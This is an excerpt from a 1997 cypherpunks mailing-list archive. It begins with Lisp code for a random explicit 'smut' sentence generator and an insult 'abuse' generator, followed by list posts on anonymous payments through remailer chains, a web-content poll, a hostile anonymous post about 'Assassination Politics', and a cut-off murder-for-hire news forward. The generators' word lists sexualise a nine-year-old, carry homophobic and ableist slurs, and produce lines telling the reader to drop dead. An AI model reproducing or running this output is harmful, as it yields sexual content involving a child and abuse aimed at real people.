((EQ R 007) (PRINC "Is it in?"))
((EQ R 008) (PRINC "Cheese it, the cops!"))
((EQ R 009) (PRINC "I never dreamed it could be like this!"))
((EQ R 010) (PRINC "If I do, you won't respect me!"))
((EQ R 011) (PRINC "Oh my God!"))
((EQ R 012) (PRINC "Now!"))
((EQ R 013) (PRINC "Open Sesame!"))
((EQ R 014) (PRINC "Pomade!"))
((EQ R 015) (PRINC "Harder!"))
((EQ R 016) (PRINC "Faster!"))
((EQ R 017) (PRINC "Again!"))
((EQ R 018) (PRINC "Help!"))
((EQ R 019) (PRINC "Ay de mi!"))
((EQ R 020) (PRINC "Deeper!"))
)))

(DEF 'said '(LAMBDA ()
(SETQ R (random 018))
(COND
((EQ R 001) (PRINC " cried"))
((EQ R 002) (PRINC " bellowed"))
((EQ R 003) (PRINC " yelped"))
((EQ R 004) (PRINC " croaked"))
((EQ R 005) (PRINC " growled"))
((EQ R 006) (PRINC " panted"))
((EQ R 007) (PRINC " moaned"))
((EQ R 008) (PRINC " grunted"))
((EQ R 009) (PRINC " laughed"))
((EQ R 010) (PRINC " warbled"))
((EQ R 011) (PRINC " sighed"))
((EQ R 012) (PRINC " ejaculated"))
((EQ R 013) (PRINC " whispered"))
((EQ R 014) (PRINC " stammered"))
((EQ R 015) (PRINC " wheezed"))
((EQ R 016) (PRINC " squealed"))
((EQ R 017) (PRINC " whimpered"))
((EQ R 018) (PRINC " pleaded"))
)))

(DEF 'girl '(LAMBDA ()
(SETQ R (random 011))
(COND
((EQ R 001) (PRINC "saucy baggage"))
((EQ R 002) (PRINC "wanton hussy"))
((EQ R 003) (PRINC "unfortunate woman"))
((EQ R 004) (PRINC "lust-crazed duchess"))
((EQ R 005) (PRINC "female impersonator"))
((EQ R 006) (PRINC "nine-year-old nymphomaniac"))
((EQ R 007) (PRINC "45-year-old virgin bull-dyke"))
((EQ R 008) (PRINC "leather freak"))
((EQ R 009) (PRINC "home-cumming queen"))
((EQ R 010) (PRINC "defrocked nun"))
((EQ R 011) (PRINC "bisexual budgie"))
)))

(DEF 'adj-1 '(LAMBDA ()
(SETQ R (random 014))
(COND
((EQ R 001) (PRINC "thrashing"))
((EQ R 002) (PRINC "slurping"))
((EQ R 003) (PRINC "insatiable"))
((EQ R 004) (PRINC "rabid"))
((EQ R 005) (PRINC "satanic"))
((EQ R 006) (PRINC "corpulent"))
((EQ R 007) (PRINC "nose-grooming"))
((EQ R 008) (PRINC "tripe-fondling"))
((EQ R 009) (PRINC "dribbling"))
((EQ R 010) (PRINC "spread-eagled"))
((EQ R 011) (PRINC "orally fixated"))
((EQ R 012) (PRINC "vile"))
((EQ R 013) (PRINC "awesomely endowed"))
((EQ R 014) (PRINC "strapping"))
)))

(DEF 'boy '(LAMBDA ()
(SETQ R (random 020))
(COND
((EQ R 001) (PRINC " rakehell"))
((EQ R 002) (PRINC " black panther"))
((EQ R 003) (PRINC " hunchback"))
((EQ R 004) (PRINC " friar"))
((EQ R 005) (PRINC " archduke"))
((EQ R 006) (PRINC " midget"))
((EQ R 007) (PRINC " great dane"))
((EQ R 008) (PRINC " stallion"))
((EQ R 009) (PRINC " donkey"))
((EQ R 010) (PRINC " electric eel"))
((EQ R 011) (PRINC " lecherous"))
((EQ R 012) (PRINC " lickspittle"))
((EQ R 013) (PRINC " faggot butler"))
((EQ R 014) (PRINC " paraplegic"))
((EQ R 015) (PRINC " pothead"))
((EQ R 016) (PRINC " dirty old man"))
((EQ R 017) (PRINC " black-power advocate"))
((EQ R 018) (PRINC " follicle fetishist"))
((EQ R 019) (PRINC " egg-sucking chicken flicker"))
((EQ R 020) (PRINC " hired hand"))
)))

(DEF 'verb-1 '(LAMBDA ()
(SETQ R (random 011))
(COND
((EQ R 001) (PRINC " plundered"))
((EQ R 002) (PRINC " diddled"))
((EQ R 003) (PRINC " devoured"))
((EQ R 004) (PRINC " fondled"))
((EQ R 005) (PRINC " mouthed"))
((EQ R 006) (PRINC " tongued"))
((EQ R 007) (PRINC " lashed"))
((EQ R 008) (PRINC " tweaked"))
((EQ R 009) (PRINC " violated"))
((EQ R 010) (PRINC " defiled"))
((EQ R 011) (PRINC " irrigated"))
)))

(DEF 'adj-2 '(LAMBDA ()
(SETQ R (random 012))
(COND
((EQ R 001) (PRINC "alabaster"))
((EQ R 002) (PRINC "pink-tipped"))
((EQ R 003) (PRINC "creamy"))
((EQ R 004) (PRINC "rosebud"))
((EQ R 005) (PRINC "moist"))
((EQ R 006) (PRINC "throbbing"))
((EQ R 007) (PRINC "juicy"))
((EQ R 008) (PRINC "heaving"))
((EQ R 009) (PRINC "straining"))
((EQ R 010) (PRINC "mammoth"))
((EQ R 011) (PRINC "succulent"))
((EQ R 012) (PRINC "quivering"))
)))

(DEF 'tits '(LAMBDA ()
(SETQ R (random 013))
(COND
((EQ R 001) (PRINC " schnoobies"))
((EQ R 002) (PRINC " globes"))
((EQ R 003) (PRINC " melons"))
((EQ R 004) (PRINC " mounds"))
((EQ R 005) (PRINC " buds"))
((EQ R 006) (PRINC " paps"))
((EQ R 007) (PRINC " chubbies"))
((EQ R 008) (PRINC " protruberances"))
((EQ R 009) (PRINC " treasures"))
((EQ R 010) (PRINC " bum"))
((EQ R 011) (PRINC " bung"))
((EQ R 012) (PRINC " vestibule"))
((EQ R 013) (PRINC " armpits"))
)))

(DEF 'verb-2 '(LAMBDA ()
(SETQ R (random 011))
(COND
((EQ R 001) (PRINC "plunged"))
((EQ R 002) (PRINC "thrust"))
((EQ R 003) (PRINC "squeezed"))
((EQ R 004) (PRINC "pounded"))
((EQ R 005) (PRINC "drove"))
((EQ R 006) (PRINC "eased"))
((EQ R 007) (PRINC "slid"))
((EQ R 008) (PRINC "hammered"))
((EQ R 009) (PRINC "squished"))
((EQ R 010) (PRINC "crammed"))
((EQ R 011) (PRINC "slammed"))
)))

(DEF 'adj-3 '(LAMBDA ()
(SETQ R (random 018))
(COND
((EQ R 001) (PRINC "bursting"))
((EQ R 002) (PRINC "jutting"))
((EQ R 003) (PRINC "glistening"))
((EQ R 004) (PRINC "brobdingnagian"))
((EQ R 005) (PRINC "prodigious"))
((EQ R 006) (PRINC "purple"))
((EQ R 007) (PRINC "searing"))
((EQ R 008) (PRINC "swollen"))
((EQ R 009) (PRINC "rigid"))
((EQ R 010) (PRINC "rampaging"))
((EQ R 011) (PRINC "warty"))
((EQ R 012) (PRINC "steaming"))
((EQ R 013) (PRINC "gorged"))
((EQ R 014) (PRINC "trunklike"))
((EQ R 015) (PRINC "foaming"))
((EQ R 016) (PRINC "spouting"))
((EQ R 017) (PRINC "swinish"))
((EQ R 018) (PRINC "red-hot"))
)))

(DEF 'prick '(LAMBDA ()
(SETQ R (random 024))
(COND
((EQ R 001) (PRINC " prosthesis"))
((EQ R 002) (PRINC " intruder"))
((EQ R 003) (PRINC " prong"))
((EQ R 004) (PRINC " stump"))
((EQ R 005) (PRINC " member"))
((EQ R 006) (PRINC " meatloaf"))
((EQ R 007) (PRINC " majesty"))
((EQ R 008) (PRINC " bowsprit"))
((EQ R 009) (PRINC " earthmover"))
((EQ R 010) (PRINC " jackhammer"))
((EQ R 011) (PRINC " ramrod"))
((EQ R 012) (PRINC " cod"))
((EQ R 013) (PRINC " jabber"))
((EQ R 014) (PRINC " gusher"))
((EQ R 015) (PRINC " engine"))
((EQ R 016) (PRINC " brownie"))
((EQ R 017) (PRINC " joy stick"))
((EQ R 018) (PRINC " plunger"))
((EQ R 019) (PRINC " piston"))
((EQ R 020) (PRINC " tool"))
((EQ R 021) (PRINC " manhood"))
((EQ R 022) (PRINC " lollipop"))
((EQ R 023) (PRINC " kidney prodder"))
((EQ R 043) (PRINC " device"))
)))

(DEF 'adj-4 '(LAMBDA ()
(SETQ R (random 010))
(COND
((EQ R 001) (PRINC "pulsing"))
((EQ R 002) (PRINC "hungry"))
((EQ R 003) (PRINC "hymeneal"))
((EQ R 004) (PRINC "palpitating"))
((EQ R 005) (PRINC "gaping"))
((EQ R 006) (PRINC "slavering"))
((EQ R 007) (PRINC "welcoming"))
((EQ R 008) (PRINC "glutted"))
((EQ R 009) (PRINC "gobbling"))
((EQ R 010) (PRINC "cobwebby"))
)))

(DEF 'cunt '(LAMBDA ()
(SETQ R (random 017))
(COND
((EQ R 001) (PRINC " swamp"))
((EQ R 002) (PRINC " honeypot"))
((EQ R 003) (PRINC " jam jar"))
((EQ R 004) (PRINC " butterbox"))
((EQ R 005) (PRINC " furburger"))
((EQ R 006) (PRINC " cherry pie"))
((EQ R 007) (PRINC " cush"))
((EQ R 008) (PRINC " slot"))
((EQ R 009) (PRINC " slit"))
((EQ R 010) (PRINC " cockpit"))
((EQ R 011) (PRINC " damp"))
((EQ R 012) (PRINC " furrow"))
((EQ R 013) (PRINC " sanctum sanctorum"))
((EQ R 014) (PRINC " bearded clam"))
((EQ R 015) (PRINC " continental divide"))
((EQ R 016) (PRINC " paradise valley"))
((EQ R 017) (PRINC " wanton desire"))
)))

(DEF 'smut '(LAMBDA ()
 (PRINC '\") (statement) (PRINC '\") (said) (PRINC " the ") (girl)
 (PRINC " as the ") (adj-1) (boy) (verb-1) (PRINC " her ") (adj-2)
 (tits) (PRINC " and ") (verb-2) (PRINC " his ") (adj-3) (prick)
 (PRINC " into her ") (adj-4) (cunt) (PRINC ".") (TERPRI)
))

(randomize)

****************************************************************************

~Pseudo-random 1 to s

(DEF 'randomize '(LAMBDA ()
(SETQ RSEED (DTIME))
(SETQ RSEED (- RSEED (* 12345(/ RSEED 12345))))))


(DEF 'random '(LAMBDA (s)
   (SETQ RSEED (+ RSEED 911))
   (COND ((GT RSEED 15000) (SETQ RSEED (- RSEED 15000))))
   (+ 1 (- RSEED (* s (/ RSEED s))))
))


(DEF 'adj-phrase '(LAMBDA ()
    (PROG ()
   LOOP-adj
    (SETQ R (random 124))
    (PRINC
       (COND
	((EQ R 001) "stinking")
	((EQ R 002) "little")
	((EQ R 003) "smelly")
	((EQ R 004) "ugly")
	((EQ R 005) "bisexual")
	((EQ R 006) "deranged")
	((EQ R 007) "revolting")
	((EQ R 008) "sickening")
	((EQ R 009) "disgusting")
	((EQ R 010) "perverted")
	((EQ R 011) "stupid")
	((EQ R 012) "illiterate")
	((EQ R 013) "flea-bitten")
	((EQ R 014) "depraved")
	((EQ R 015) "uncouth")
	((EQ R 016) "bad breathed")
	((EQ R 017) "pitiful")
	((EQ R 018) "dumpy")
	((EQ R 019) "offensive")
	((EQ R 020) "dim witted")
	((EQ R 021) "loathsome")
	((EQ R 022) "insignificant")
	((EQ R 023) "blithering")
	((EQ R 024) "repulsive")
	((EQ R 025) "worthless")
	((EQ R 026) "blundering")
	((EQ R 027) "retarded")
	((EQ R 028) "useless")
	((EQ R 029) "obnoxious")
	((EQ R 030) "low budget")
	((EQ R 031) "asisine")
	((EQ R 032) "neurotic")
	((EQ R 033) "subhuman")
	((EQ R 034) "crochety")
	((EQ R 035) "indescribable")
	((EQ R 036) "contemptible")
	((EQ R 037) "unspeakable")
	((EQ R 038) "sick")
	((EQ R 039) "lazy")
	((EQ R 040) "good for nothing)")
	((EQ R 041) "slutty")
	((EQ R 042) "spastic")
	((EQ R 043) "creepy")
	((EQ R 044) "sloppy")
	((EQ R 045) "dumb")
	((EQ R 046) "predictable")
	((EQ R 047) "atrocious")
	((EQ R 048) "grotesque")
	((EQ R 049) "ungodly")
	((EQ R 050) "feeble-minded")
	((EQ R 051) "clueless")
	((EQ R 052) "demented")
	((EQ R 053) "bewildered")
	((EQ R 054) "outrageous")
	((EQ R 055) "deranged")
	((EQ R 056) "confused")
	((EQ R 057) "miserable")
	((EQ R 058) "detestable")
	((EQ R 059) "annoying")
	((EQ R 060) "shameless")
	((EQ R 061) "ignorant")
	((EQ R 062) "despicable")
	((EQ R 063) "insane")
	((EQ R 064) "tiny brained")
	((EQ R 065) "oblivious")
	((EQ R 066) "hopeless")
	((EQ R 067) "god-awful")
	((EQ R 068) "bungling")
	((EQ R 069) "appalling")
	((EQ R 070) "lackluster")
	((EQ R 071) "skaggy")
	((EQ R 072) "brainless")
	((EQ R 073) "boring")
	((EQ R 074) "uncultivated")
	((EQ R 075) "inadequate")
	((EQ R 076) "inhuman")
	((EQ R 077) "self-exalting")
	((EQ R 078) "testy")
	((EQ R 079) "irresponsible")
	((EQ R 080) "mentally deficient")
	((EQ R 081) "disdainful")
	((EQ R 082) "friendless")
	((EQ R 083) "dreadfull")
	((EQ R 084) "psychotic")
	((EQ R 085) "opinionated")
	((EQ R 086) "monotonous")
	((EQ R 087) "disgraceful")
	((EQ R 088) "preposterous")
	((EQ R 089) "totally tacky")
	((EQ R 090) "uneducated")
	((EQ R 091) "rediculous")
	((EQ R 092) "double ugly")
	((EQ R 093) "irrational")
	((EQ R 094) "cranky")
	((EQ R 095) "goofy")
	((EQ R 096) "crude")
	((EQ R 097) "embarrassing")
	((EQ R 098) "deeply disturbed)")
	((EQ R 099) "inept")
	((EQ R 100) "undisciplined")
	((EQ R 101) "crooked")
	((EQ R 102) "pathetic")
	((EQ R 103) "infantile")
	((EQ R 104) "witless")
	((EQ R 105) "indecent")
	((EQ R 106) "infuriating")
	((EQ R 107) "unimpressive")
	((EQ R 108) "insufferable")
	((EQ R 109) "dismal")
	((EQ R 110) "erratic")
	((EQ R 111) "incapable")
	((EQ R 112) "hallucinating")
	((EQ R 113) "pompous")
	((EQ R 114) "pitiable")
	((EQ R 115) "slovenly")
	((EQ R 116) "laughable")
	((EQ R 117) "bad tempered")
	((EQ R 118) "decrepit")
	((EQ R 119) "bizarre")
	((EQ R 120) "driveling")
	((EQ R 121) "uncultured")
	((EQ R 122) "cantankerous")
	((EQ R 123) "hypocritical")
	((EQ R 124) "sleazy")))
    (COND
     ( (LT(random 3) 3) (PRINC ", ") (GO LOOP-adj))
     ( T		(PRINC " "))
))))

(DEF 'noun '(LAMBDA ()
(COND ((EQ (random 4) 1)
  (SETQ R (random 15))
  (PRINC
   (COND
    ((EQ R 01) "twit")
    ((EQ R 02) "bastard")
    ((EQ R 03) "fool")
    ((EQ R 04) "idiot")
    ((EQ R 05) "cretin")
    ((EQ R 06) "dolt")
    ((EQ R 07) "moron")
    ((EQ R 08) "degenerate")
    ((EQ R 09) "mutant")
    ((EQ R 09) "asshole")
    ((EQ R 10) "imbecile")
    ((EQ R 11) "incompetent")
    ((EQ R 12) "failure")
    ((EQ R 13) "noncompoop")
    ((EQ R 14) "pothead")
    ((EQ R 15) "wiper of other peoples' behinds"))))

  (T(SETQ R (random 30)) (PRINC (COND
     ((EQ R 01) "lump")
     ((EQ R 02) "crock")
     ((EQ R 03) "ball")
     ((EQ R 04) "mass")
     ((EQ R 05) "tub")
     ((EQ R 06) "loaf")
     ((EQ R 07) "bucket")
     ((EQ R 08) "mound")
     ((EQ R 09) "bunch")
     ((EQ R 10) "stack")
     ((EQ R 11) "glob")
     ((EQ R 12) "bag")
     ((EQ R 13) "heap")
     ((EQ R 14) "mountain")
     ((EQ R 15) "load")
     ((EQ R 16) "toilet full")
     ((EQ R 17) "barrel")
     ((EQ R 18) "sack")
     ((EQ R 19) "blob")
     ((EQ R 20) "pile")
     ((EQ R 21) "clump")
     ((EQ R 22) "shovel full")
     ((EQ R 23) "cake")
     ((EQ R 24) "bowl")
     ((EQ R 25) "wheelbarrel full")
     ((EQ R 26) "box")
     ((EQ R 27) "crate")
     ((EQ R 28) "collection")
     ((EQ R 29) "truckload")
     ((EQ R 30) "vat")
))
    (PRINC " of ")
    (SETQ R (random 69))
    (PRINC (COND
     ((EQ R 01) "stale ")
     ((EQ R 02) "foul ")
     ((EQ R 03) "fossilized ")
     ((EQ R 04) "festering ")
     ((EQ R 05) "steaming ")
     ((EQ R 06) "gross ")
     ((EQ R 07) "reasty ")
     ((EQ R 08) "recycled ")
     ((EQ R 09) "mildewed ")
     ((EQ R 10) "raunchy ")
     ((EQ R 11) "putrid ")
     ((EQ R 12) "moldy ")
     ((EQ R 13) "synthetic ")
     ((EQ R 14) "filthy ")
     ((EQ R 15) "soppy ")
     ((EQ R 16) "radioactive  ")
     ((EQ R 17) "infested ")
     ((EQ R 18) "septic ")
     ((EQ R 19) "crusty ")
     ((EQ R 20) "smelly ")
     ((EQ R 21) "dirty ")
     ((EQ R 22) "rotten ")
     ((EQ R 23) "crumby ")
     ((EQ R 24) "musty ")
     ((EQ R 25) "second-hand  ")
     ((EQ R 26) "fly-covered  ")
     ((EQ R 27) "imitation ")
     ((EQ R 28) "moth-eaten ")
     ((EQ R 29) "pureed ")
     ((EQ R 30) "decaying ")
     ((EQ R 31) "decomposed ")
     ((EQ R 32) "freeze dried ")
     ((EQ R 33) "soggy ")
     ((EQ R 34) "petrified ")
     ((EQ R 35) "seething ")
     ((EQ R 36) "stinking ")
     ((EQ R 37) "clammy ")
     ((EQ R 38) "dehydrated ")
     ((EQ R 39) "polluted ")
     ((EQ R 40) "lousy ")
     ((EQ R 41) "stenchy ")
     ((EQ R 42) "malignant ")
     ((EQ R 43) "noxious ")
     ((EQ R 44) "grimy ")
     ((EQ R 45) "fusty ")
     ((EQ R 46) "reeky ")
     ((EQ R 47) "nasty ")
     ((EQ R 48) "mutilated ")
     ((EQ R 49) "sloppy ")
     ((EQ R 50) "fresh ")
     ((EQ R 51) "gruesome ")
     ((EQ R 52) "foreign ")
     ((EQ R 53) "grisly ")
     ((EQ R 54) "sloshy ")
     ((EQ R 55) "dusky ")
     ((EQ R 56) "wormy ")
     ((EQ R 57) "mealy ")
     ((EQ R 58) "defective ")
     ((EQ R 59) "spoiled ")
     ((EQ R 60) "contaminated ")
     ((EQ R 61) "sun-ripened  ")
     ((EQ R 62) "rancid ")
     ((EQ R 63) "old ")
     ((EQ R 64) "fermenting ")
     ((EQ R 65) "industrial-strength ")
     ((EQ R 66) "flea-bitten ")
     ((EQ R 67) "nauseating ")
     ((EQ R 68) "decomposing ")
     ((EQ R 69) "unimaginable ")
))
    (SETQ R (random 91))
    (PRINC (COND
     ((EQ R 01) "pig bowels")
     ((EQ R 02) "walrus blubber")
     ((EQ R 03) "dog barf")
     ((EQ R 04) "coyote snot")
     ((EQ R 05) "carp guts")
     ((EQ R 06) "skunk waste")
     ((EQ R 07) "camel fleas")
     ((EQ R 08) "llama spit")
     ((EQ R 09) "rat boogers")
     ((EQ R 10) "toe jam")
     ((EQ R 11) "maggot guts")
     ((EQ R 12) "dog meat")
     ((EQ R 13) "ear wax")
     ((EQ R 14) "nose nuggets")
     ((EQ R 15) "swine remains")
     ((EQ R 16) "rubbish")
     ((EQ R 17) "goat carcusses")
     ((EQ R 18) "sewage")
     ((EQ R 19) "zit cheese")
     ((EQ R 20) "vulture gizzards")
     ((EQ R 21) "hogwash")
     ((EQ R 22) "navel lint")
     ((EQ R 23) "gutter mud")
     ((EQ R 24) "leprousy scabs")
     ((EQ R 25) "nasal hairs")
     ((EQ R 26) "garbage")
     ((EQ R 27) "elephant plaque")
     ((EQ R 28) "slug slime")
     ((EQ R 29) "buzzard barf")
     ((EQ R 30) "jock straps")
     ((EQ R 31) "parrot droppings")
     ((EQ R 32) "camel manure")
     ((EQ R 33) "chicken guts")
     ((EQ R 34) "underwear")
     ((EQ R 35) "compost")
     ((EQ R 36) "pig droppings")
     ((EQ R 37) "rabbit raisins")
     ((EQ R 38) "turkey puke")
     ((EQ R 39) "whale waste")
     ((EQ R 40) "hippo vomit")
     ((EQ R 41) "pimple pus")
     ((EQ R 42) "dog phlegm")
     ((EQ R 43) "buffalo chips")
     ((EQ R 44) "weasel warts")
     ((EQ R 45) "shark snot")
     ((EQ R 46) "swamp mud")
     ((EQ R 47) "tripe")
     ((EQ R 48) "pig hickies")
     ((EQ R 49) "fish lips")
     ((EQ R 50) "cockroaches")
     ((EQ R 51) "dandruff flakes")
     ((EQ R 52) "rodent droppings")
     ((EQ R 53) "carrion")
     ((EQ R 54) "monkey zits")
     ((EQ R 55) "horse puckies")
     ((EQ R 56) "pig slop")
     ((EQ R 57) "sewer seepage")
     ((EQ R 58) "armpit hairs")
     ((EQ R 59) "ape puke")
     ((EQ R 60) "frog fat")
     ((EQ R 61) "bug parts")
     ((EQ R 62) "mule froth")
     ((EQ R 63) "hog livers")
     ((EQ R 64) "camel flops")
     ((EQ R 65) "sludge")
     ((EQ R 66) "pimple squeezings")
     ((EQ R 67) "toad tumors")
     ((EQ R 68) "sweat socks")
     ((EQ R 69) "bat guano")
     ((EQ R 70) "rat cysts")
     ((EQ R 71) "moose entrails")
     ((EQ R 72) "foot fungus")
     ((EQ R 73) "buzzard leavings")
     ((EQ R 74) "eel guts")
     ((EQ R 75) "maggot brains")
     ((EQ R 76) "sinus clots")
     ((EQ R 77) "stable sweepings")
     ((EQ R 78) "drain clogs")
     ((EQ R 79) "cigar butts")
     ((EQ R 80) "pigeon bombs")
     ((EQ R 81) "cow cud")
     ((EQ R 82) "snake innards")
     ((EQ R 83) "spitoon spillage")
     ((EQ R 84) "barf curds")
     ((EQ R 85) "maggot fodder")
     ((EQ R 86) "nose pickings")
     ((EQ R 87) "cow pies")
     ((EQ R 88) "puke lumps")
     ((EQ R 89) "hog swill")
     ((EQ R 90) "sinus drainage")
     ((EQ R 91) "lizard bums")
))
))))

(DEF 'directional-verb '(LAMBDA ()
  (SETQ R (random 5))
  (PRINC
  (COND
   ((EQ R 1) "puke")
   ((EQ R 2) "vomit")
   ((EQ R 3) "fart")
   ((EQ R 4) "piss")
   ((EQ R 5) "shout obscenities")))))

(DEF 'direction '(LAMBDA ()
  (SETQ R (random 3))
  (PRINC
  (COND
   ((EQ R 1) " at you")
   ((EQ R 2) " in your face")
   ((EQ R 2) " in your general direction")))))

(DEF 'verb-phrase '(LAMBDA ()
  (SETQ R (random 5))
    (COND
     ((EQ R 1) (directional-verb)  (direction))
     ((EQ R 2) (PRINC "cry"))
     ((EQ R 3) (PRINC "weep"))
     ((EQ R 4) (PRINC "scream"))
     ((EQ R 5) (PRINC "commit gross abominations"))
)))

(DEF 'suggestion '(LAMBDA ()
  (SETQ R (random 6))
  (PRINC
    (COND
     ((EQ R 1) "crawl back under a rock")
     ((EQ R 2) "go back whence you came from")
     ((EQ R 3) "die abd leave us in peace")
     ((EQ R 4) "go jump in a lake")
     ((EQ R 5) "take a long walk off a short pier")
     ((EQ R 6) "do yourself a favor and drop dead")
))))

(DEF 'proper-name '(LAMBDA ()
  (SETQ R (random 5))
  (PRINC
  (COND
   ((EQ R 1) "Alan Turing")
   ((EQ R 2) "Marvin Minsky")
   ((EQ R 3) "Douglas Hofstadter")
   ((EQ R 4) "your best friend")
   ((EQ R 4) "a large crowd of graduate students"))
)))

(DEF 'abuse '(LAMBDA ()
  (PRINC "You ") (adj-phrase) (noun) (PRINC ". ")
  (SETQ RR (random 4))
  (COND
   ((EQ RR 1) (PRINC "May ") (proper-name) (PRINC " ") (directional-verb)
	       (direction) (PRINC ". "))
   ((EQ RR 2) (PRINC "Whenever I see you, I want to ") (verb-phrase)
	      (PRINC ". "))
   ((EQ RR 3) (PRINC "Why don't you ") (suggestion) (PRINC ". "))
   ((EQ RR 4) (PRINC "Please, ") (suggestion) (PRINC ". "))
)))

(randomize)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Mon, 7 Apr 1997 22:15:21 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Anonymous cash via intermediaries
Message-ID: <199704080350.UAA03476@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


The paper by Rivest on lottery tickets as micropayments, at:

http://theory.lcs.mit.edu/~rivest/publications.html

is a clever idea, but he mentioned something in passing at the end
that I thought was very interesting in its own right.  He wrote:

> True anonymity of the user from the vendor is more costly, as it
> requires an intermediary (the vendor needs to have routing/delivery
> information for the goods sold).  That third party could also
> intermediate the payments for the user - the user pays the intermediary,
> and the intermediary pays the vendor.

Anonymous cash is most useful in the context of anonymous communications.
If you are achieving anonymity via "mix" technologies, like the remailers
or Wei Dai's proposed PipeNet, then the same network which hides the
communications path could hide the payment path.  You pay the first
mix in the chain, which pays the next, and so on until the person at
the end receives payment.  Even with a non-anonymous payment system,
you get the effect of anonymity.

With intermediaries like this, you could use, say, First Virtual's
credit-card based payments.  If you want to buy some information
anonymously, you set up a remailer chain to send the request to FV.
With that you include a payment to that first remailer, requesting
forwarding.  The remailer accepts the payment, processes the message,
and when it forwards it, it sends along a payment of its own (from its
own account) to the next remailer in the chain, again requesting
forwarding.  This continues until the last remailer forwards the
message to the final recipient, making a payment of its own in
response to the forwarding request.

In order to figure out who paid whom, an observer would have to trace
through the remailer chain.  And if they could do that, they could
follow the message too, breaking the anonymity.

(I had proposed a similar idea of forwarded non-anonymous payments a
couple of weeks ago, but that was specifically in the context of
paying for remailers.  Rivest's idea would extend this to a general
payment scheme.)

I see some obvious problems, but perhaps they can be patched up.  The
remailers would have to be honest and trustworthy (not to mention
brave, clean, and reverent); if the payment somehow got lost en route
it could be difficult to verify who had pocketed it.  There is some
anonymity lost by having all the remailers in the chain know how much
is being paid, even if they don't know who is involved.  If online
payment schemes were used, they could leave traces which would allow
after-the-fact tracing of the payment path (and therefore the message
path).

Despite this, the convenience barriers to the use of anonymous cash
might make it worth looking into "payment remailers" (or web
redirectors).  As long as there are at least two forwarders in the
chain you have a minimal level of anonymity, and your payments should
be as anonymous as your communications.

Hal




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Mon, 7 Apr 1997 17:58:16 -0700 (PDT)
To: rah@shipwright.com>
Subject: Re: From the "pissing up a rope" file...
In-Reply-To: <v0302093eaf6b6d83b633@[139.167.130.248]>
Message-ID: <199704080058.UAA21322@homer.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 4 Apr 1997, Robert Hettinga wrote:

> I thought some people on the list might feel very strongly about this
> issue and would like to cast their vote.
> 
> The NBC Interactive Question of the Week:
> 
> Should there be one international group that governs and controls web
> content?

Results pasted in from http://www.nbceurope.com/

                  Now, here are the results from last week's question
                  which asked....

                  Should there be one international group that
                  governs and controls web content?

                  85% said no...

                  while 15% said yes.

Interesting that the "sheeple factor" was as high as 15%.  (Or was it 
higher? Did 20 cypherpunks submit "no" 100 times each?)

This poll was accurate within 100%, 19 times out of 20 ;-) , but it
will still serve as fodder for someone's News Breaking Story.  At
the very least they could have implemented a "have-you-voted-yet"
cookie to weed out the technologically impaired who might want to
vote twice.

Cynthia




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 7 Apr 1997 20:58:02 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Tim I.R.S. May
Message-ID: <199704080358.UAA20048@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim Bell wrote:
At 10:57 PM +0100 4/7/97, Adam Back wrote:

>I can think of at least half a dozen posts dealing with the ethics, the
>need (they claim) for independent review, the immmorality of the death
>penalty in general, and so on.

>Exactly what more is needed?
>If you mean that no one is talking about the mechanics of actually setting
>up such a market, this may be true. For lots of reasons. Could be folks
>just have no particular interest in spending the time to actually set one
>up, even a "play" AP system. Could be they perceive other projects to be
>more important.

  Or it could be that those who are setting up AP systems
are not leaving themselves open to attack.

>(Sidenote: the work Robin Hanson and others did on "idea futures" is an
>example of something that's more important, and more "doable," and less
>dangerous. And yet I see precious little discussion of _it_ on this list.

  Maybe that is because it doesn't address issues that the
government feel are enough of a threat to suppress.

>>Perhaps I'm just imagining things, but it would seem to me that if one
>>had in the past made comments on the list suggesting that AP might
>>even be a _good thing_, Jim Bell's experience might make one think now
>>was be a good time to disclaim that one was talking theoretically.

>But, on the contrary, I've seen more "positive" comments, in absolute
>numbers, about AP in the last several days than I recall seeing in the last
>several months.

  Perhaps if you weren't so liberal in your use of killfiles,
then you wouldn't be so out of touch with what cypherpunks
list members discuss on the list.

>>I've viewed several posters comments on AP ever since Jim Bell got
>>involved in discussing anonymous markets in illegal services as being
>>careful to stay on the side of speech.
>>
>>It is almost as if they are afraid to discuss openly their views on
>>the subject.

>Example, please. Who was previously an advocate of AP on a regular basis
>that has recently spoken only of it terms of speech?

  Tim, lacking the ability to read, asks about those who
"advocate" AP.
  Adam is quite correct in his perception of cypherpunks
pussyfooting around their true views on AP since the
government attack on Jim Bell's views.
  Of course, Tim May attacks those who choose to remain
anonymous via the cypherpunks remailers.
  Tim and the IRS make quite a tag-team in denigrating
those who would speak freely about AP.

>(Actually, I recall very few supporters of AP, even before the list
>subscribership dropped dramatically.)

  Since you shitcan the posts of a variety of list
subscribers, your recollections don't count for very
much, do they?

>I like a lot of your stuff, Adam, but on this one I think you're 175
>degrees out of phase with reality.

  Perhaps Adam's view of reality encompasses a broader
range of posts to the list than Tim's does.
  Perhaps those who put all cypherpunks in their killfiles
could claim that the cypherpunks don't really exist.

TruthMonger (#1--the shit disturber)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 7 Apr 1997 20:02:30 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: $20,000 the going rate?
In-Reply-To: <199704080223.CAA28480@mailhub.amaranth.com>
Message-ID: <3349B4D0.7977@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:
> 
> I am forwarding a message from another list as I felt it may be of intrest
> to some here.
> 
> Subject: SCANNER LISTENER FOILS MURDER PLOT
> Following from the
> Seattle Post-Intelligencer, Friday, April 4, 1997
>  ===========================================
> "TWO ACCUSED OF MURDER-FOR-HIRE PLOT"
